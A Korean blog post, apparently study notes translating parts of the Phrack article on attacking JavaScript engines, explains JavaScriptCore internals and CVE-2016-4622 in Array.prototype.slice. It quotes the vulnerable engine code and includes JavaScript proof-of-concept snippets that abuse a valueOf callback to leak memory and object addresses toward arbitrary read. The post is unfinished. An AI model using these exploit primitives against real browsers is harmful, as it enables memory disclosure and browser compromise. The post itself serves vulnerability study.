y0u_bat

A case study of JavaScriptCore and CVE-2016-4622 본문

System

A case study of JavaScriptCore and CVE-2016-4622

유뱃 2017. 6. 12. 06:00


최근에 webkit에 대해 관심있어서 공부 하고 있습니다.

원문보고 전부 번역한건 아닙니다. (발번역...)  중간중간 제가 공부하면서 작성한 내용이 있습니다.  

공부하면서 작성하는거라 틀린 내용이 있을수있습니다.  


- http://phrack.org/papers/attacking_javascript_engines.html (원문)
- http://cd80.tistory.com/104 (104, 106, 107)





Javascript engine overvlew

자바스크립트 엔진에서는 대체로

  • 하나 이상의 컴파일러 인프라를 포함하는 JIT 컴파일러 입니다.

  • 자바스크립트는 VM에서 작동한다.

  • 런타임에서 객체나 함수를 제공합니다.


NaN-boxing

JSC에서는값을 Pointer Double, Interger 3개로 나눠 저장합니다.

상위 16비트는 타입으로 사용됩니다.

    *     Pointer {  0000:PPPP:PPPP:PPPP
    *              / 0001:****:****:****
    *     Double  {         ...
    *              \ FFFE:****:****:****
    *     Integer {  FFFF:0000:IIII:IIII

Pointer의 최상위 16비트는 0

Double의 최상위 16비트는 0x1~0xfffe

Interger의 최상위 16비트는 0xffff

예를 들면, var a = 0x11223344을 해서 보면 실제 메모리에는 0xFFFF000011223344로 보여지게 됩니다.

Boolean, Null 그리고 undefined와 같은 값은 아래와 같이 유효하지 않은 포인터값으로 지정되어있습니다.

    *     False:     0x06  // 0x0000000000000006
    *     True:      0x07  // 0x0000000000000007
    *     Undefined: 0x0a  // 0x000000000000000a
    *     Null:      0x02  // 0x0000000000000002



Object and Arrarys

javascript의 객체는 본질적으로 속성에 key, value 쌍으로 저장됩니다.

객체에 속성에는 두가지 방법으로 접근 가능합니다. foo.bar 혹은 foo['bar']

내부적으로 보면 JSC에서 properties와 elements 둘다 같은 메모리에 저장됩니다. 객체의 해당영역에 포인터로 저장됩니다. 이 포인터는 해당영역의 중간을 가르키고 properties는 왼쪽 elements은 오른쪽에 있습니다.


이런형태로 저장되는것을 butterfly라고 부르는거 같습니다.

a = [];
a[0] = 42;
a[10000] = 42;

이런 코드가 있을때 a라는 배열은 100001 짜리 int형 배열이 아니라 10000번째 인덱스부터는 따로 매핑해서 효율적으로 관리합니다.


The bug

이챕터에서는 CVE-2016-4622에 대해서 설명합니다. ( 650552a에서 패치되었고, 마지막으로 취약한 커밋 320b1fc 입니다. )

이 취약점으로 arbitrary read, write 다 가능하여 이거 하나로도 익스플로잇 가능한 취약점입니다.

이 버그는 Array.prototype.slice 메소드에서 일어납니다.

slice 메소드가 호출 될 때 마다 ArrayPrototype.cpp에 arrayProtoFuncSlice 함수가 호출됩니다.

slice 메소드는 python에 "12345"[1:2] 과 같은 배열,문자열을 슬라이스 하는 메소드 입니다.

var a = [1,2,3,4,5];
var s = a.slice(1,3);
print(s);
result: 2,3

위 코드는 slice 메소드를 사용하는 예제 코드입니다.

a에서 배열에 1번째 인덱스부터 3번째인덱스 전까지 짤라 [2,3]이라는 배열이 만들어집니다.

arrayProtoFuncSlice 함수를 직접 한번 보겠습니다.

EncodedJSValue JSC_HOST_CALL arrayProtoFuncSlice(ExecState* exec)
{
    // http://developer.netscape.com/docs/manuals/js/client/jsref/array.htm#1193713 or 15.4.4.10
    JSObject* thisObj = exec->thisValue().toThis(exec, StrictMode).toObject(exec);
    if (!thisObj)
        return JSValue::encode(JSValue());
    unsigned length = getLength(exec, thisObj);
    if (exec->hadException())
        return JSValue::encode(jsUndefined());

    unsigned begin = argumentClampedIndexFromStartOrEnd(exec, 0, length);
    unsigned end = argumentClampedIndexFromStartOrEnd(exec, 1, length, length);

    std::pair<SpeciesConstructResult, JSObject*> speciesResult = speciesConstructArray(exec, thisObj, end - begin);
    // We can only get an exception if we call some user function.
    if (UNLIKELY(speciesResult.first == SpeciesConstructResult::Exception))
        return JSValue::encode(jsUndefined());

    if (LIKELY(speciesResult.first == SpeciesConstructResult::FastPath && isJSArray(thisObj))) {
        if (JSArray* result = asArray(thisObj)->fastSlice(*exec, begin, end - begin))
            return JSValue::encode(result);
    }

    JSObject* result;
    if (speciesResult.first == SpeciesConstructResult::CreatedObject)
        result = speciesResult.second;
    else
        result = constructEmptyArray(exec, nullptr, end - begin);

    unsigned n = 0;
    for (unsigned k = begin; k < end; k++, n++) {
        JSValue v = getProperty(exec, thisObj, k);
        if (exec->hadException())
            return JSValue::encode(jsUndefined());
        if (v)
            result->putDirectIndex(exec, n, v);
    }
    setLength(exec, result, n);
    return JSValue::encode(result);
}


위 함수는 기본적으로 다음을 수행합니다

  1. 메소드를 호출한 object를 구합니다 (a.slice 이면 여기서 a)

  2. 해당배열의 길이를 구합니다.

  3. begin에는 첫번째인자 end는 2번째 인자를 넣습니다.

  4. species 생성자가 사용됬는지 체크합니다.

  5. fast slice 호출 합니다.


마지막에는 두가지 방법중 하나로 실행됩니다. 배열이 밀도가 높은 기본배열일 경우는 fastSlice 함수에서 에서 memcpy로 새로운 배열에 기존배열의 index부터 length까지 복사해줍니다. FastPath가 가능하지 않을 경우에는 반복문을 사용해서 각 element를 새로운 배열에 추가합니다.


Exploiting of with "valueof"

ex1)
var a = [1,2,3,4];
var s = a.slice("1","3")
print(s)
result: 2,3 

ex2)
var a = [1,2,3,4];
var s = a.slice(0,{valueOf:function(){print "hi y0ubat"; return 3;}});
print(s)
reslut:
hi youbat
2,3


arrayProtoFuncSlice 함수에서 메소드의 인자를 argumentClampedIndexFromStartOrEnd 함수를 통해 원시타입으로 변환합니다.




argumentClampedIndexFromStartOrEnd 함수의 일부분 입니다.

toInterger 부분에서 변환이 되게 됩니다. 위에 있는 예제 코드처럼 slice의 인자가 굳이 Number가 아닌 String,Bool,Symbol 등 다른 Primitive의 경우에도 가능하면 숫자로 변환해줍니다.

ValueOf 메소드를 이용하여 slice 인자로 넣어주면 값을 참조할때 코드를 실행시키게 할수있습니다.

위에 함수에서 toInteger 함수를 실행하면서 ValueOf 메소드를 실행시키게 됩니다.

toInterger -> toNumber -> toPrimitive -> ZNK3JSC8JSObject11toPrimitiveEPNS9ExecStateENS22PreferredPrimitiveTypeE

이런식으로 쭉 타고 가보면 ValueOf 메소드가 실행되는것을 볼수있습니다.

이걸 이용하여 공격하는 취약점이 CVE-2016-4622 입니다.

ValueOf 함수에서 slice 메소드를 부르는 배열의 길이를 .length으로 설정하면 JSArray::setLength 함수가 호출되게 됩니다.

 unsigned lengthToClear = butterfly->publicLength() - newLength;
 unsigned costToAllocateNewButterfly = 64; // a heuristic.
 if (lengthToClear > newLength && lengthToClear > costToAllocateNewButterfly) {
     reallocateAndShrinkButterfly(vm, newLength);
     return true;
 }


위 코드는 JSArray::setLength 함수의 한 부분입니다. 길이를 수정할려는 배열의 길이를 가져와 수정할려는 길이 크기를 빼줍니다.그리고 그 값이랑 64만큼 차이나는지 if으로 검사하고 그이상 차이나면 reallocateAndShrinkButterfly 함수를 호출하여 realloc 하여 재할당 되게 됩니다. 만약에 64크기만큼 차이가 나지 않을경우 재할당하지 않고 배열의 내용을 초기화하고 그냥 쓰게 됩니다.

var a = [];

for(var i=0;i<100;i++)
        a.push(i+0.123);
print(a);

var b = a.slice(0,{valueOf: function(){a.length=0; return 10;}});

print(a);
print(b);



a 배열에 double형으로 100개를 push 한다음 slice할때 valueOf을 이용하여 length를 0으로 수정하여, reallocateAndShrinkButterfly 함수를 호출해 realloc 되었을겁니다. 그리고 나서 slice 메소드가 호출되게 되는데 arrayProtoFuncSlice 함수내에서 fastslice가 호출되게 됩니다.

실행해보면, b에 3번째부분을 보면 이상한 값들이 있는것을 볼수있습니다.

디버깅하여 그값이 뭔지 한번 보았습니다

0x00000000000000 바로 뒤에 8바이트 2개는 Javascript engine overview에서 언급했던 더블형의 NaN boxing 입니다.

convert 여기서 소수점으로 컨버트해서 볼수있습니다. 제대로 안나올경우 0x0001을 빼서 해보면 정상적으로 나옵니다.

그이유는 floating pointer가 0x0001 부터 시작해서 그렇거 같다네요.

그뒤에 0x0000000a0000000a 같은 경우는 디버깅하다가 알게 된건데 fastslice 함수에서 3번째 인자인 count를 움겨놓은거 같습니다.


How to Arbitrary read?

이제 어떻게 Arbitrary read를 할수있는지 알아보겠습니다.

  1. 더블형 배열을 100개 만듭니다.

  2. ValueOf를 사용하여 Length 0으로 하여 reallocateAndShrinkButterfly 함수를 호출하여 재할당 받습니다.

  3. 그다음 읽어올 객체를 배열 하나에 할당합니다.

  4. 할당한 배열은 realloc 해서 할당된 공간에 뒤에 할당될것입니다. (bufferfly들이 저장된 공간들은 할당이 선형으로 이루어 지기 때문이다.)

  5. ValueOf 리턴을 realloc로 할당받은 사이즈보다 크게 리턴시킨다.

  6. slice 메소드를 호출합니다. ( ex ) a.slice(0,ValueOf:~~})



직접 디버깅하여 확인해보겠습니다.

var a = [];
var s = [0x11,0x22,0x33,0x44]

for(var i=0;i<100;i++)
        a.push(i+0.123);

print(a);

var b = a.slice(0,{valueOf: function(){a.length=0; c = [s]; return 20;}});

print(a);
print(b);

위 코드를 디버깅하여 테스트 해보겠습니다.

reallocateAndShrinkButterfly 함수를 호출하고 재할당 받은다음, 배열에 릭할 객체를 담아 할당했습니다.

한번 보면 0x7fffb41e47b0을 보면, 재할당 받은곳 바로 뒤에, 릭할 객체 주소가 있는것을 볼수있습니다.

소수점으로 출력 되는데, 이건 아까 그 사이트로 변환하여, 헥스로 볼수있습니다.

제대로 잘 릭 되는것을 볼수있습니다.


(작성중)...

'System' 카테고리의 다른 글

[SCTF2018] CowBoy (only exploit code)  (4) 2018.07.31
Whitehat 2018 Final PAC - 500pt  (0) 2018.07.31
[how2heap] House of Spirit  (0) 2017.01.25
Double Free Bug Vulnerability  (0) 2017.01.09
[heap] fastbin_dup_into_stack.c  (0) 2016.11.02
Comments